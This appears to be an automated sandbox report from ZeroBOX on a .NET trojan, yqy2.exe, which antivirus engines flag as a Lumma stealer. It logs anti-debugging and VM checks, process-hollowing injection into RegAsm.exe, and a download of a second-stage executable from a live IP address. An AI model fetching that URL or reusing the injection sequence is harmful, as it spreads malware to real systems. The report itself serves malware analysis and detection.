Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 17, 2024, 1:21 p.m.	Sept. 17, 2024, 2:24 p.m.

Size	14.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`243060d6f56395aa66e64418b9d299b1`
SHA256	`b72cff53d2d6e8c9ba1aed99c4bb11497b8f724c39c4d69250cdd42e7477141f`
CRC32	`0F5FA49B`
ssdeep	`384:ByXkMSdXUDg+jbzuOnG4s1j5Mqa/FMhR6AA30Y:BotD1G4Sn`
PDB Path	C:\Users\Administrator\Desktop\RunPE-x\ConsoleApp66\obj\Release\Sentiments.pdb
Yara	PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) IsPE32 - (no description)

yqy2.exe "C:\Users\test22\AppData\Local\Temp\yqy2.exe"
2644
- RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
  2816

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
147.45.44.131	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2400022	ET DROP Spamhaus DROP Listed Traffic Inbound group 23	Misc Attack
TCP 192.168.56.101:49161 -> 147.45.44.131:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 17, 2024, 1:21 p.m.			0	0
IsDebuggerPresent Sept. 17, 2024, 1:21 p.m.			0	0

This executable has a PDB path (1 event)

pdb_path

C:\Users\Administrator\Desktop\RunPE-x\ConsoleApp66\obj\Release\Sentiments.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 17, 2024, 1:21 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://147.45.44.131/files/wywy8.exe

Performs some HTTP requests (1 event)

request

GET http://147.45.44.131/files/wywy8.exe

Allocates read-write-execute memory (usually to unpack itself) (21 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 917504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00490000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00445000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00660000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00436000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00437000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00661000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2644 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 17, 2024, 1:21 p.m.	flags: 15 family: 0		111	0

Yara rule detected in process memory (9 events)

description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

147.45.44.131

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2816 region_size: 360448 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000438	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Sept. 17, 2024, 1:21 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

yqy2.exe tried to sleep 5456326 seconds, actually delayed analysis time by 5456326 seconds

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL9$ÛfàôÄÀ @@q4x0PA5¨.textáóô `.rdata(*ø@@.dataÄë@X"@À.relocPA0Bz@B base_address: 0x00400000 process_identifier: 2816 process_handle: 0x00000438	1	1	0
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2816 process_handle: 0x00000438	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL9$ÛfàôÄÀ @@q4x0PA5¨.textáóô `.rdata(*ø@@.dataÄë@X"@À.relocPA0Bz@B base_address: 0x00400000 process_identifier: 2816 process_handle: 0x00000438	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2644 called NtSetContextThread to modify thread in remote process 2816
NtSetContextThread Sept. 17, 2024, 1:21 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4235456 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000434 process_identifier: 2816	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2644 resumed a thread in remote process 2816
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000434 suspend_count: 1 process_identifier: 2816	1	0	0

Executed a process and injected code into it, probably while unpacking (22 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000344 suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000378 suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000003ac suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000003c4 suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000003e8 suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000003fc suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000414 suspend_count: 1 process_identifier: 2644	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000428 suspend_count: 1 process_identifier: 2644	1	0
CreateProcessInternalW Sept. 17, 2024, 1:21 p.m.	thread_identifier: 2820 thread_handle: 0x00000434 process_identifier: 2816 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000438	1	1
NtGetContextThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000434	1	0
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2816 region_size: 360448 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000438	1	0
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL9$ÛfàôÄÀ @@q4x0PA5¨.textáóô `.rdata(*ø@@.dataÄë@X"@À.relocPA0Bz@B base_address: 0x00400000 process_identifier: 2816 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x00401000 process_identifier: 2816 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x00441000 process_identifier: 2816 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x00444000 process_identifier: 2816 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x00453000 process_identifier: 2816 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2816 process_handle: 0x00000438	1	1
NtSetContextThread Sept. 17, 2024, 1:21 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4235456 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000434 process_identifier: 2816	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000434 suspend_count: 1 process_identifier: 2816	1	0

File has been identified by 55 AntiVirus engines on VirusTotal as malicious (50 out of 55 events)

Bkav	W32.AIDetectMalware.CS
Lionic	Trojan.Win32.Generic.m289
CAT-QuickHeal	Trojan.Generic
Skyhigh	Artemis!Trojan
Cylance	Unsafe
VIPRE	Gen:Heur.MSIL.Krypt.6
Sangfor	Trojan.Win32.Injector.V5x3
CrowdStrike	win/malicious_confidence_100% (D)
BitDefender	Gen:Heur.MSIL.Krypt.6
K7GW	Trojan ( 0050bedf1 )
K7AntiVirus	Trojan ( 0050bedf1 )
Arcabit	Trojan.MSIL.Krypt.6
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/Injector.LOS
Avast	Win32:PWSX-gen [Trj]
ClamAV	Win.Packed.Pwsx-10035668-0
Kaspersky	HEUR:Trojan.Win32.Generic
Alibaba	Trojan:MSIL/Injector.367b1806
MicroWorld-eScan	Gen:Heur.MSIL.Krypt.6
Rising	Trojan.Injector!8.C4 (CLOUD)
Emsisoft	Gen:Heur.MSIL.Krypt.6 (B)
F-Secure	Trojan.TR/AVI.Lumma.ssylu
DrWeb	Trojan.InjectNET.17
TrendMicro	TrojanSpy.Win32.LUMMASTEALER.YXEIIZ
McAfeeD	ti!B72CFF53D2D6
CTX	exe.trojan.msil
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
FireEye	Generic.mg.243060d6f56395aa
Webroot	W32.Malware.Gen
Google	Detected
Avira	TR/AVI.Lumma.ssylu
Antiy-AVL	Trojan/Win32.Agent
Kingsoft	Win32.Trojan.Generic.a
Gridinsoft	Trojan.Win32.Downloader.sa
Xcitium	Malware@#qnzhuzfz8mz2
Microsoft	Trojan:Win32/Multiverze
ZoneAlarm	HEUR:Trojan.Win32.Generic
GData	Gen:Heur.MSIL.Krypt.6
Varist	W32/MSIL_Troj.C.gen!Eldorado
AhnLab-V3	Trojan/Win.Generic.C5663268
McAfee	Artemis!243060D6F563
DeepInstinct	MALICIOUS
VBA32	Trojan.MSIL.DiscoStealer.Heur
Ikarus	Trojan.MSIL.Injector
Panda	Trj/GdSda.A
TrendMicro-HouseCall	TrojanSpy.Win32.LUMMASTEALER.YXEIIZ
Tencent	Malware.Win32.Gencirc.14195d39
Yandex	Trojan.Agent!dfzdFVVJYYA

yqy2.exe

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